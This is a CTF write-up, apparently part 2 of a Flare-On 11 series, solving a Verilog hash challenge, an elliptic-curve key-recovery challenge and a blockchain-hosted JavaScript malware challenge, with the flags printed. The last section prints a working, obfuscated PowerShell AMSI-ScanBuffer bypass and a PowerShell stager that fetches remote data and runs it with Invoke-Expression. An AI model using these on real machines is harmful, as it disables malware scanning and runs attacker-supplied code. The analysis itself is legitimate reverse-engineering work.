Challenge 6 - bloke2

bloke2s.v
bloke2b.v


- BLOKE2S:

- BLOKE2B:


bloke2s
module, we went directly into bloke2s.v
. Initially, this one invokes bloke2
module, pass parameters into it, indicating that bloke2s.v
serves as a wrapper of the actual hashing module:


bloke2.v
, it invokes the f_unit
and data_mgr
modules:




f_unit
module then invokes all the remaining modules, setting up some BLAKE2 constants for the subsequent hashing process, as shown below:


data_mgr.v
, we can observe a suspicious value there:


TEST_VAL
to different value, then ran bloke2s_tb.v
again. Since it didnt affects the hashing result, i proceeded to analyze further how this variable is used in the code.
It is going to be used to XOR with h_in
:


h_in
here refers to h_out
:


h_out
should be hash result:


h_in
, you will see h_in
is our hash value but in reverse order:


TEST_LOCAL
, where one of them is flag:


Flag: please_send_help_i_am_trapped_in_a_ctf_flag_factory@flare-on.com
Challenge 7 - fullspeed



- There's only one export
DotNetRuntimeDebugHeader
:


- It contains these sections
.managed
,.hydrated
:

/sig/pc
folder of IDA, now loading the binary, we can easily read it.
After debugging, I was able to summarize what this program does:
This function resolves strings:


param = get_operand_value(prev_head(i, 0), 1)
addr = Appcall.ResolveName(param).value + 12
result = ida_bytes.get_strlit_contents(addr, -1, ida_nalt.STRTYPE_C_16)
set_cmt(i, result.decode(), 0)


0x7FF681FB7EA0
, which carries out the main functions, and the necessary information for solving the challenge. But first, let's take a look at the sub_7FF67A187BC0
, which i find by Xref one of the resolved strings:
- Create Curve:

- Create Curve point G:

- Generate a random number using PRNG (let’s call it N).

from sage.all import *
def dis_log(G, Q, factors):
logs = []
mod = []
for factor in factors:
G_factor = (G.order() // factor) * G
Q_factor = (G.order() // factor) * Q
log_factor = discrete_log(Q_factor, G_factor, operation='+')
logs.append(log_factor)
mod.append(factor)
return logs, mod
def check_key(candidate_key, G, Q):
return G * candidate_key == Q
p = 0xc90102faa48f18b5eac1f76bb40a1b9fb0d841712bbe3e5576a7a56976c2baeca47809765283aa078583e1e65172a3fd
a = 0xa079db08ea2470350c182487b50f7707dd46a58a1d160ff79297dcc9bfad6cfc96a81c4a97564118a40331fe0fc1327f
b = 0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9eede9eb1baa31602167fa5380
Gx = 0x087b5fe3ae6dcfb0e074b40f6208c8f6de4f4f0679d6933796d3b9bd659704fb85452f041fff14cf0e9aa7e45544f9d8
Gy = 0x127425c1d330ed537663e87459eaa1b1b53edfe305f6a79b184b3180033aab190eb9aa003e02e9dbf6d593c5e3b08182
Qx = 0x195B46A760ED5A425DADCAB37945867056D3E1A50124FFFAB78651193CEA7758D4D590BED4F5F62D4A291270F1DCF499 #xored 0x1337
Qy = 0x357731EDEBF0745D081033A668B58AAA51FA0B4FC02CD64C7E8668A016F0EC1317FCAC24D8EC9F3E75167077561E2A15 #xored 0x1337
E = EllipticCurve(GF(p), [a, b])
G = E(Gx, Gy)
Q = E(Qx, Qy)
o_G = G.order()
factors = factor(o_G)
filf = [factor for factor, _ in factors if factor.nbits() <= 60]
logs, mod = dis_log(G, Q, filf)
u = crt(logs, mod)
prime = prod(filf)
upper_bound_m = int(1 + 2**128 / prime)
for m in range(upper_bound_m):
mtkey = u + m * prime
if check_key(mtkey, G, Q):
print(hex(mtkey))
break
Output is our N - 7ed85751e7131b5eaf5592718bef79a9
. Let’s set this aside for now.
Returning to sub_7FF681FB7EA0
, this function first takes the Affine X, Y Coordinates from the public key, XOR them with 0x133713371337133713371337133713371337133713371337133713371337133713371337133713371337133713371337
, and then sends this to the server:


0x133713371337133713371337133713371337133713371337133713371337133713371337133713371337133713371337
, creates a new point from these two values, and then multiplies this new point by N:


SHA512
on it:




using System.Text;
using Org.BouncyCastle.Math;
using Org.BouncyCastle.Utilities.Encoders;
using Org.BouncyCastle.Math.EC;
var p = new BigInteger("c90102faa48f18b5eac1f76bb40a1b9fb0d841712bbe3e5576a7a56976c2baeca47809765283aa078583e1e65172a3fd", 16);
var a = new BigInteger("a079db08ea2470350c182487b50f7707dd46a58a1d160ff79297dcc9bfad6cfc96a81c4a97564118a40331fe0fc1327f", 16);
var b = new BigInteger("9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9eede9eb1baa31602167fa5380", 16);
var svX = new BigInteger("a0d2eba817e38b03cd063227bd32e353880818893ab02378d7db3c71c5c725c6bba0934b5d5e2d3ca6fa89ffbb374c31", 16);
var svY = new BigInteger("96a35eaf2a5e0b430021de361aa58f8015981ffd0d9824b50af23b5ccf16fa4e323483602d0754534d2e7a8aaf8174dc", 16);
Byte[] N = Hex.Decode("7ed85751e7131b5eaf5592718bef79a9");
var iN = new BigInteger(N);
var _1337b = UTF8Encoding.UTF8.GetBytes("133713371337133713371337133713371337133713371337133713371337133713371337133713371337133713371337");
var _1337 = new BigInteger(Encoding.UTF8.GetString(_1337b), 16);
Org.BouncyCastle.Math.EC.ECCurve fpcurve = (Org.BouncyCastle.Math.EC.ECCurve)new FpCurve(p, a, b);
svX = svX.Xor(_1337);
svY = svY.Xor(_1337);
var srvPoint = fpcurve.CreatePoint(svX, svY);
var srvMulPoint = srvPoint.Multiply(iN);
var srvNorPoint = srvMulPoint.Normalize();
var new_svX = srvNorPoint.AffineXCoord.ToBigInteger();
Console.WriteLine(Hex.ToHexString(new_svX.ToByteArray()));
The output is 3c54f90f4d2cc9c0b62df2866c2b4f0c5afae8136d2a1e76d2694999624325f5609c50b4677efa21a37664b50cec92c0
. Sha512 it, truncate, and then decrypt ChaCha with data from the pcap following the directions above:


flag: D0nt_U5e_y0ur_Own_CuRv3s@flare-on.com
Challenge 8 - clearlyfake
Given a JavaScript file, deobfuscate it using de4jsconst Web3 = require("web3");
const fs = require("fs");
const web3 = new Web3("BINANCE_TESTNET_RPC_URL");
const contractAddress = "0x9223f0630c598a200f99c5d4746531d10319a569";
async function callContractFunction(inputString) {
try {
const methodId = "0x5684cff5";
const encodedData = methodId + web3.eth.abi.encodeParameters(["string"], [inputString]).slice(2);
const result = await web3.eth.call({
to: contractAddress,
data: encodedData
});
const largeString = web3.eth.abi.decodeParameter("string", result);
const targetAddress = Buffer.from(largeString, "base64").toString("utf-8");
const filePath = "decoded_output.txt";
fs.writeFileSync(filePath, "$address = " + targetAddress + "\n");
const new_methodId = "0x5c880fcb";
const blockNumber = 43152014;
const newEncodedData = new_methodId + web3.eth.abi.encodeParameters(["address"], [targetAddress]).slice(2);
const newData = await web3.eth.call({
to: contractAddress,
data: newEncodedData
}, blockNumber);
const decodedData = web3.eth.abi.decodeParameter("string", newData);
const base64DecodedData = Buffer.from(decodedData, "base64").toString("utf-8");
fs.writeFileSync(filePath, decodedData);
console.log(`Saved decoded data to:${filePath}`)
} catch (error) {
console.error("Error calling contract function:", error)
}
}
const inputString = "KEY_CHECK_VALUE";
callContractFunction(inputString);
Try searching for the contract address on the Binance testnet network using BSCScan. In tab Contract we see bytecode:

giV3_M3_p4yL04d!!!!!!
. If correct, it returns another contract address: 0x5324eab94b236d4d1456edc574363b113cebf09d


uint256[] array_0; // STORAGE[0x0]
function 0x14a(bytes varg0) private {
require(msg.sender == address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d), Error('Only the owner can call this function.'));
require(varg0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
v0 = 0x483(array_0.length);
if (v0 > 31) {
v1 = v2 = array_0.data;
v1 = v3 = v2 + (varg0.length + 31 >> 5);
while (v1 < v2 + (v0 + 31 >> 5)) {
STORAGE[v1] = STORAGE[v1] & 0x0 | uint256(0);
v1 = v1 + 1;
}
}
v4 = v5 = 32;
if (varg0.length > 31 == 1) {
v6 = array_0.data;
v7 = v8 = 0;
while (v7 < varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) {
STORAGE[v6] = MEM[varg0 + v4];
v6 = v6 + 1;
v4 = v4 + 32;
v7 = v7 + 32;
}
if (varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 < varg0.length) {
STORAGE[v6] = MEM[varg0 + v4] & ~(uint256.max >> ((varg0.length & 0x1f) << 3));
}
array_0.length = (varg0.length << 1) + 1;
} else {
v9 = v10 = 0;
if (varg0.length) {
v9 = MEM[varg0.data];
}
array_0.length = v9 & ~(uint256.max >> (varg0.length << 3)) | varg0.length << 1;
}
return ;
}
function fallback() public payable {
revert();
}
function 0x5c880fcb() public payable {
v0 = 0x483(array_0.length);
v1 = new bytes[](v0);
v2 = v3 = v1.data;
v4 = 0x483(array_0.length);
if (v4) {
if (31 < v4) {
v5 = v6 = array_0.data;
do {
MEM[v2] = STORAGE[v5];
v5 += 1;
v2 += 32;
} while (v3 + v4 <= v2);
} else {
MEM[v3] = array_0.length >> 8 << 8;
}
}
v7 = new bytes[](v1.length);
MCOPY(v7.data, v1.data, v1.length);
v7[v1.length] = 0;
return v7;
}
function 0x483(uint256 varg0) private {
v0 = v1 = varg0 >> 1;
if (!(varg0 & 0x1)) {
v0 = v2 = v1 & 0x7f;
}
require((varg0 & 0x1) - (v0 < 32), Panic(34)); // access to incorrectly encoded storage byte array
return v0;
}
function owner() public payable {
return address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d);
}
function 0x916ed24b(bytes varg0) public payable {
require(4 + (msg.data.length - 4) - 4 >= 32);
require(varg0 <= uint64.max);
require(4 + varg0 + 31 < 4 + (msg.data.length - 4));
require(varg0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
v0 = new bytes[](varg0.length);
require(!((v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max) | (v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0)), Panic(65)); // failed memory allocation (too much memory)
require(varg0.data + varg0.length <= 4 + (msg.data.length - 4));
CALLDATACOPY(v0.data, varg0.data, varg0.length);
v0[varg0.length] = 0;
0x14a(v0);
}
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__() private {
MEM[64] = 128;
require(!msg.value);
if (msg.data.length >= 4) {
if (0x5c880fcb == msg.data[0] >> 224) {
0x5c880fcb();
} else if (0x8da5cb5b == msg.data[0] >> 224) {
owner();
} else if (0x916ed24b == msg.data[0] >> 224) {
0x916ed24b();
}
}
fallback();
}
Open block 43152014
(the block number from the first JS code) in the new contract. Show the input in UTF-8, and we get a base64 string

#Rasta-mouses Amsi-Scan-Buffer patch \n
$fhfyc = @"
using System;
using System.Runtime.InteropServices;
public class fhfyc {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr ixajmz, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $fhfyc
$nzwtgvd = [fhfyc]::LoadLibrary("$(('ãmsí.'+'dll').NOrmAlizE([cHaR](70*31/31)+[char](111)+[Char]([Byte]0x72)+[CHaR](109+60-60)+[ChaR](54+14)) -replace [chaR]([bYTE]0x5c)+[CHar]([bYTE]0x70)+[ChAR](123+2-2)+[CHar]([byte]0x4d)+[ChAR]([bYTE]0x6e)+[char]([byTE]0x7d))")
$njywgo = [fhfyc]::GetProcAddress($nzwtgvd, "$(('ÁmsìSc'+'änBuff'+'er').NOrmALIzE([CHaR]([bYTE]0x46)+[Char]([bYTe]0x6f)+[cHAr]([bYTE]0x72)+[CHar](109)+[cHaR]([ByTe]0x44)) -replace [chAR](92)+[Char]([byTE]0x70)+[chaR]([bYTE]0x7b)+[chaR]([BYtE]0x4d)+[char](21+89)+[chaR](31+94))")
$p = 0
[fhfyc]::VirtualProtect($njywgo, [uint32]5, 0x40, [ref]$p)
$haly = "0xB8" ;mov eax,0x80070057
$ddng = "0x57" ;ret
$xdeq = "0x00"
$mbrf = "0x07"
$ewaq = "0x80"
$fqzt = "0xC3"
$yfnjb = [Byte[]] ($haly,$ddng,$xdeq,$mbrf,+$ewaq,+$fqzt)
[System.Runtime.InteropServices.Marshal]::Copy($yfnjb, 0, $njywgo, 6)
I looked for more transactions and found another PowerShell script in block 44335452

# Set endpoint for testnet
Set-Variable -Name testnet_endpoint -Value (" ")
# Define the JSON-RPC request body
Set-Variable -Name _body -Value '{
"method": "eth_call",
"params": [
{ "to": "$address", "data": "0x5c880fcb" },
BLOCK
],
"id": 1,
"jsonrpc": "2.0"
}'
# Send the request and get the response result
Set-Variable -Name resp -Value ((Invoke-RestMethod -Method 'Post' -Uri $testnet_endpoint -ContentType "application/json" -Body $_body).result)
# Remove the '0x' prefix from the response
Set-Variable -Name hexNumber -Value ($resp -replace '0x', '')
# Convert hex to bytes
Set-Variable -Name bytes0 -Value (
0..($hexNumber.Length / 2 - 1) | ForEach-Object {
Set-Variable -Name startIndex -Value ($_ * 2)
[Convert]::ToByte($hexNumber.Substring($startIndex, 2), 16)
}
)
# Convert bytes to UTF8 string and trim specific substring
Set-Variable -Name bytes1 -Value ([System.Text.Encoding]::UTF8.GetString($bytes0))
Set-Variable -Name bytes2 -Value ($bytes1.Substring(64, 188))
# Convert from base64 to bytes
Set-Variable -Name bytesFromBase64 -Value ([Convert]::FromBase64String($bytes2))
# Convert bytes to ASCII string
Set-Variable -Name resultAscii -Value ([System.Text.Encoding]::UTF8.GetString($bytesFromBase64))
# Convert each byte to hex format
Set-Variable -Name hexBytes -Value ($resultAscii | ForEach-Object { '{0:X2}' -f $_ })
# Join hex bytes into a single string
Set-Variable -Name hexString -Value ($hexBytes -join ' ')
# Write-Output $hexString
# Remove spaces from hexBytes to prepare for next conversion
Set-Variable -Name hexBytes -Value ($hexBytes -replace " ", "")
# Convert hex string to bytes
Set-Variable -Name bytes3 -Value (
0..($hexBytes.Length / 2 - 1) | ForEach-Object {
Set-Variable -Name startIndex -Value ($_ * 2)
[Convert]::ToByte($hexBytes.Substring($startIndex, 2), 16)
}
)
# Convert the resulting bytes to a string
Set-Variable -Name bytes5 -Value ([System.Text.Encoding]::UTF8.GetString($bytes3))
# Define the key for XOR operation
Set-Variable -Name keyBytes -Value ([Text.Encoding]::ASCII.GetBytes("FLAREON24"))
# Perform XOR operation
Set-Variable -Name resultBytes -Value (@())
for (Set-Variable -Name i -Value 0; $i -lt $bytes5.Length; $i++) {
$resultBytes += ($bytes5[$i] -bxor $keyBytes[$i % $keyBytes.Length])
}
# Convert the result to a string
Set-Variable -Name resultString -Value ([System.Text.Encoding]::ASCII.GetString($resultBytes))
# Define the command to create the flag file
Set-Variable -Name command -Value ("tar -x --use-compress-program 'cmd /c echo $resultString > C:\\flag' -f C:\\flag")
# Execute the command
Invoke-Expression $command
The script above takes input data, decodes it from base64, then XORs it with FLAREON24
. I tried other transactions and managed to decode several strings. The flag was found in block 43148912

N0t_3v3n_DPRK_i5_Th15_1337_1n_Web3@flare-on.com
Read more:
Part 1: https://sec.vnpt.vn/2024/11/flareon-11-writeup-part-1/ Part 3: https://sec.vnpt.vn/2024/11/flareon-11-writeup-part-3/ 2239 lượt xem